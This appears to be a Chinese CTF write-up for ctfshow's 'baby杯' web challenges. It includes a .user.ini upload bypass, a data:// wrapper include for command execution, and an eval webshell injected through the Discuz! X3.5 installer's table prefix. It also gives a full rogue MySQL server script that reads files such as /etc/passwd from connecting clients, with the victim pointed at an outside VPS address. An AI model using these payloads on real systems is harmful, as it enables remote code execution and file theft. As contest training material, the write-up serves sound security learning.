ctfshowbaby杯

baby_captcha

密码是fire,验证码自己听的出来

baby_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php

error_reporting(0);

class fileUtil{

private $name;
private $content;


public function __construct($name,$content=''){
$this->name = $name;
$this->content = $content;
ini_set('open_basedir', '/var/www/html');
}

public function file_upload(){
if($this->waf($this->name) && $this->waf($this->content)){
return file_put_contents($this->name, $this->content);
}else{
return 0;
}
}

private function waf($input){
return !preg_match('/php/i', $input);
}

public function file_download(){
if(file_exists($this->name)){
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$this->name.'"');
header('Content-Transfer-Encoding: binary');
echo file_get_contents($this->name);
}else{
return False;
}
}

public function __destruct(){

}

}

$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);

if($action==='upload'){
die('Permission denied');
}

switch ($action) {
case 'upload':
$name = $_POST['name'];
$content = $_POST['content'];
$ft = new fileUtil($name,$content);
if($ft->file_upload()){
echo $name.' upload success!';
}
break;
case 'download':
$name = $_POST['name'];
$ft = new fileUtil($name,$content);
if($ft->file_download()===False){
echo $name.' download failed';
}
break;
default:
echo 'baby come on';
break;
}

映入眼帘的是可以写文件但是有个waf,这里不知道怎么整,并且限定了写入路径为当前目录,还有就是触发upload的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);

if($action==='upload'){
die('Permission denied');
}

switch ($action) {
case 'upload':
echo "success";
break;
case 'download':
echo "nono";
break;
default:
echo 'baby come on';
break;
}

本地起一个demo发现直接就绕过了,然后我们FUZZ出来,可以使用.user.ini进行绕过

1
2
name=.user.ini&content=auto_prepend_file=1.txt
content=<?=`ls`?>&name=1.txt

完美的缺点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php


highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html/');

$file_name = substr($_GET['file_name'], 0,16);
$file_content=substr($_GET['file_content'], 0,32);

file_put_contents('/c/t/f/s/h/o/w/'.$file_name, $file_content);

if(file_get_contents('php://input')==='ctfshow'){
include($file_name);
}

虽然限制了路径,但是进行了文件包含,这里可以直接用伪协议进行绕过

1
2
3
4
?file_name=data:,<?=`nl%20*`;

POST:
ctfshow

笔记,别的师傅那里直接掏的

1
2
3
4
5
6
7
8
9
10
11
12
data:,<文本数据>  
data:text/plain,<文本数据>
data:text/html,<HTML代码>
data:text/html;base64,<base64编码的HTML代码>
data:text/css,<CSS代码>
data:text/css;base64,<base64编码的CSS代码>
data:text/javascript,<Javascript代码>
data:text/javascript;base64,<base64编码的Javascript代码>
data:image/gif;base64,base64编码的gif图片数据
data:image/png;base64,base64编码的png图片数据
data:image/jpeg;base64,base64编码的jpeg图片数据
data:image/x-icon;base64,base64编码的icon图片数据

应该不难

Discuz!X3.5 ,进来之后拿到版本,我估计就是一个NDAY,可能当时是1DAY或者0DAY,但是现在是2025年哈哈,可以直接getshell,原因是后台代码没有做处理,直接拼接参数进行写入配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function save_uc_config($config, $file) {

$success = false;

list($appauthkey, $appid, $ucdbhost, $ucdbname, $ucdbuser, $ucdbpw, $ucdbcharset, $uctablepre, $uccharset, $ucapi, $ucip) = $config;

$link = function_exists('mysql_connect') ? mysql_connect($ucdbhost, $ucdbuser, $ucdbpw, 1) : new mysqli($ucdbhost, $ucdbuser, $ucdbpw, $ucdbname);
$uc_connnect = $link ? 'mysql' : '';

$date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
$year = date('Y');
$config = <<<EOT
<?php


define('UC_CONNECT', '$uc_connnect');

define('UC_DBHOST', '$ucdbhost');
define('UC_DBUSER', '$ucdbuser');
define('UC_DBPW', '$ucdbpw');
define('UC_DBNAME', '$ucdbname');
define('UC_DBCHARSET', '$ucdbcharset');
define('UC_DBTABLEPRE', '`$ucdbname`.$uctablepre');
define('UC_DBCONNECT', 0);

define('UC_CHARSET', '$uccharset');
define('UC_KEY', '$appauthkey');
define('UC_API', '$ucapi');
define('UC_APPID', '$appid');
define('UC_IP', '$ucip');
define('UC_PPP', 20);
?>
EOT;

if($fp = fopen($file, 'w')) {
fwrite($fp, $config);
fclose($fp);
$success = true;
}
return $success;
}

而源头是初始化数据库的时候

1
2
3
if(DZUCFULL) {
install_uc_server();
}
1
save_uc_config($config, ROOT_PATH.'./config/config_ucenter.php');

所以直接在安装的时候,修改表前缀

1
x');@eval($_POST[1]);('

访问/config/config_ucenter.php,就可以任意命令执行了

ctfshowcms

把附件解压之后看到就那么几个文件,其中有用的没几个,一个是进管理员的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/*files/admin.php*/
<?php

$username=$_POST['username'];
$password=$_POST['password'];

if($username==="admin"&&md5($password)==="577d18223db4b9062c1861555fdcc18a"){
$choice = $_POST['choice'];
if($choice === "giveMeFlag"){
echo "flag{fl@g_1s_n0t_h3re}";
}else if($choice === "tellMeHowToGetFlag"){
echo "flag is in your heart";
}else if($choice ==="giveMeTheYellowPicture"){
echo "http://127.0.0.1:3306/";
}else{
echo "you are Admin,make your choice!";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
/*install/index.php*/
<?php
header('Content-Type:text/html;charset=utf-8');
if(file_exists("installLock.txt")){
echo "你已经安装了ctfshowcms,请勿重复安装。";
exit;
}

echo "欢迎安装ctfshowcms~"."<br>";


$user=$_POST['user'];
$password=md5($_POST['password']);
$dbhost=$_POST['dbhost'];
$dbuser=$_POST['dbuser'];
$dbpwd=$_POST['dbpwd'];
$dbname=$_POST['dbname'];
if($user==""){
echo "CMS管理员用户名不能为空!";
exit();
}
if($password==""){
echo "CMS管理员密码不能为空!";
exit();
}
if($dbhost==""){
echo "数据库地址不能为空!";
exit();
}
if($dbuser==""){
echo "数据库用户名不能为空!";
exit();
}
if($dbpwd==""){
echo "数据库密码不能为空!";
exit();
}
if($dbname==""){
echo "数据库名不能为空!";
exit();
}
// 连接数据库
$db = mysql_connect ( $dbhost, $dbuser, $dbpwd ) or die("数据库连接失败");

// 选择使用哪个数据库
$a = mysql_select_db ( $dbname, $db );
// 数据库编码方式
$b = mysql_query ( 'SET NAMES ' . 'utf-8', $db );

if(file_exists("ctfshow.sql")){
echo "正在写入数据库!";
}else{
die("sql文件不存在");
}

$content = "<?php
\$DB_HOST='".$dbhost."';
\$DB_USER='".$dbuser."';
\$DB_PWD='".$dbpwd."';
\$DB_NAME='".$dbname."';
?>
";


file_put_contents(ROOT_PATH."/data/settings.php",$content);
echo "数据库设置写入成功!~"."<br>";

$of = fopen(ROOT_PATH.'/install/installLock.txt','w');
if($of){
fwrite($of,"ctfshowcms");
}
echo "安装成功!";

可以看到也是直接拼接参数,可以直接写入恶意代码,还有就是任意文件读取

1
2
3
4
5
6
7
8
9
10
11
/*index.php*/
<?php

define("ROOT_PATH",__DIR__);

error_reporting(0);

$want = addslashes($_GET['feng']);
$want = $want==""?"index":$want;

include('files/'.$want.".php");

这里的addslashes只是用来放sql注入的,所以文件读取根本拦不住,直接目录穿越即可,但是如果直接重新安装的话其实是不会成功的,因为链接不上

1
2
3
4
?feng=../install/index

POST:
user=1&password=1&dbhost=127.0.0.1:3306&dbuser=feng&dbpwd=feng&dbname=ctfshow
1
2
3
4
?feng=../install/index

POST:
user=1&password=1&dbhost=127.0.0.1:3306&dbuser=root&dbpwd=root&dbname=ctfshow

这里有一个mysql数据库读取漏洞文章地址,那么我们在vps上面安装数据库先

1
2
3
sudo apt-get install mysql-server 
sudo apt-get install mysql-client
sudo apt-get install libmysqlclient-dev

脚本的位置脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
from socket import AF_INET, SOCK_STREAM, error
from asyncore import dispatcher, loop as _asyLoop
from asynchat import async_chat
from struct import Struct
from sys import version_info
from logging import getLogger, INFO, StreamHandler, Formatter

_rouge_mysql_sever_read_file_result = {

}
_rouge_mysql_server_read_file_end = False


def checkVersionPy3():
return not version_info < (3, 0)


def rouge_mysql_sever_read_file(fileName, port, showInfo):
if showInfo:
log = getLogger(__name__)
log.setLevel(INFO)
tmp_format = StreamHandler()
tmp_format.setFormatter(Formatter("%(asctime)s : %(levelname)s : %(message)s"))
log.addHandler(
tmp_format
)

def _infoShow(*args):
if showInfo:
log.info(*args)

# ================================================
# =======No need to change after this lines=======
# ================================================

__author__ = 'Gifts'
__modify__ = 'Morouu'

global _rouge_mysql_sever_read_file_result

class _LastPacket(Exception):
pass

class _OutOfOrder(Exception):
pass

class _MysqlPacket(object):
packet_header = Struct('<Hbb')
packet_header_long = Struct('<Hbbb')

def __init__(self, packet_type, payload):
if isinstance(packet_type, _MysqlPacket):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload

def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = _MysqlPacket.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = _MysqlPacket.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

result = "".join(
(
header.decode("latin1") if checkVersionPy3() else header,
self.payload
)
)

return result

def __repr__(self):
return repr(str(self))

@staticmethod
def parse(raw_data):
packet_num = raw_data[0] if checkVersionPy3() else ord(raw_data[0])
payload = raw_data[1:]

return _MysqlPacket(packet_num, payload.decode("latin1") if checkVersionPy3() else payload)

class _HttpRequestHandler(async_chat):

def __init__(self, addr):
async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.stateList = [b"LEN", b"Auth", b"Data", b"MoreLength", b"File"] if checkVersionPy3() else ["LEN",
"Auth",
"Data",
"MoreLength",
"File"]
self.state = self.stateList[0]
self.sub_state = self.stateList[1]
self.logined = False
self.file = ""
self.push(
_MysqlPacket(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)))
)

self.order = 1
self.states = [b'LOGIN', b'CAPS', b'ANY'] if checkVersionPy3() else ['LOGIN', 'CAPS', 'ANY']

def push(self, data):
_infoShow('Pushed: %r', data)
data = str(data)
async_chat.push(self, data.encode("latin1") if checkVersionPy3() else data)

def collect_incoming_data(self, data):
_infoShow('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = b"".join(self.ibuffer) if checkVersionPy3() else "".join(self.ibuffer)
self.ibuffer = []

if self.state == self.stateList[0]: # LEN
len_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1 if checkVersionPy3() else ord(
data[0]) + 256 * ord(data[1]) + 65536 * ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = self.stateList[2] # Data
else:
self.state = self.stateList[3] # MoreLength
elif self.state == self.stateList[3]: # MoreLength
if (checkVersionPy3() and data[0] != b'\0') or data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = self.stateList[2] # Data
elif self.state == self.stateList[2]: # Data
packet = _MysqlPacket.parse(data)
try:
if self.order != packet.packet_num:
raise _OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
_infoShow('Query')

self.set_terminator(3)
self.state = self.stateList[0] # LEN
self.sub_state = self.stateList[4] # File
self.file = fileName.pop(0)

# end
if len(fileName) == 1:
global _rouge_mysql_server_read_file_end
_rouge_mysql_server_read_file_end = True

self.push(_MysqlPacket(
packet,
'\xFB{0}'.format(self.file)
))
elif packet.payload[0] == '\x1b':
_infoShow('SelectDB')
self.push(_MysqlPacket(
packet,
'\xfe\x00\x00\x02\x00'
))
raise _LastPacket()
elif packet.payload[0] in '\x02':
self.push(_MysqlPacket(
packet, '\0\0\0\x02\0\0\0'
))
raise _LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == self.stateList[4]: # File
_infoShow('-- result')
# fileContent
_infoShow('Result: %r', data)
if len(data) == 1:
self.push(
_MysqlPacket(packet, '\0\0\0\x02\0\0\0')
)
raise _LastPacket()
else:
self.set_terminator(3)
self.state = self.stateList[0] # LEN
self.order = packet.packet_num + 1

global _rouge_mysql_sever_read_file_result
_rouge_mysql_sever_read_file_result.update(
{self.file: data.encode() if not checkVersionPy3() else data}
)

# test
# print(self.file + ":\n" + content.decode() if checkVersionPy3() else content)

self.close_when_done()

elif self.sub_state == self.stateList[1]: # Auth
self.push(_MysqlPacket(
packet, '\0\0\0\x02\0\0\0'
))
raise _LastPacket()
else:
_infoShow('-- else')
raise ValueError('Unknown packet')
except _LastPacket:
_infoShow('Last packet')
self.state = self.stateList[0] # LEN
self.sub_state = None
self.order = 0
self.set_terminator(3)
except _OutOfOrder:
_infoShow('Out of order')
self.push(None)
self.close_when_done()
else:
_infoShow('Unknown state')
self.push('None')
self.close_when_done()

class _MysqlListener(dispatcher):
def __init__(self, sock=None):
dispatcher.__init__(self, sock)

if not sock:
self.create_socket(AF_INET, SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', port))
except error:
exit()

self.listen(1)

def handle_accept(self):
pair = self.accept()

if pair is not None:
_infoShow('Conn from: %r', pair[1])
_HttpRequestHandler(pair)

if _rouge_mysql_server_read_file_end:
self.close()

_MysqlListener()
_asyLoop()
return _rouge_mysql_sever_read_file_result


if __name__ == '__main__':

for name, content in rouge_mysql_sever_read_file(fileName=["/etc/passwd", "/etc/hosts"], port=3307,showInfo=True).items():
print(name + ":\n" + content.decode())

将尾巴修改,读取flag文件,然后查看数据库登录的文件

1
sudo cat /etc/mysql/debian.cnf

然后运行,打入poc即可,其中参数可以在php文件中得知,然后就可以监听到flag了

1
2
3
?feng=../install/index

user=1&password=1&dbhost=27.25.151.48:3307&dbuser=username&dbpwd=password&dbname=1

由于他没做数据库参数的校验脚本也是可以直接利用的,所以数据库是随便填写,但是用户名和密码必须正确才可以,就是debian.cnf里面的,并且这个脚本要使用python2.7进行利用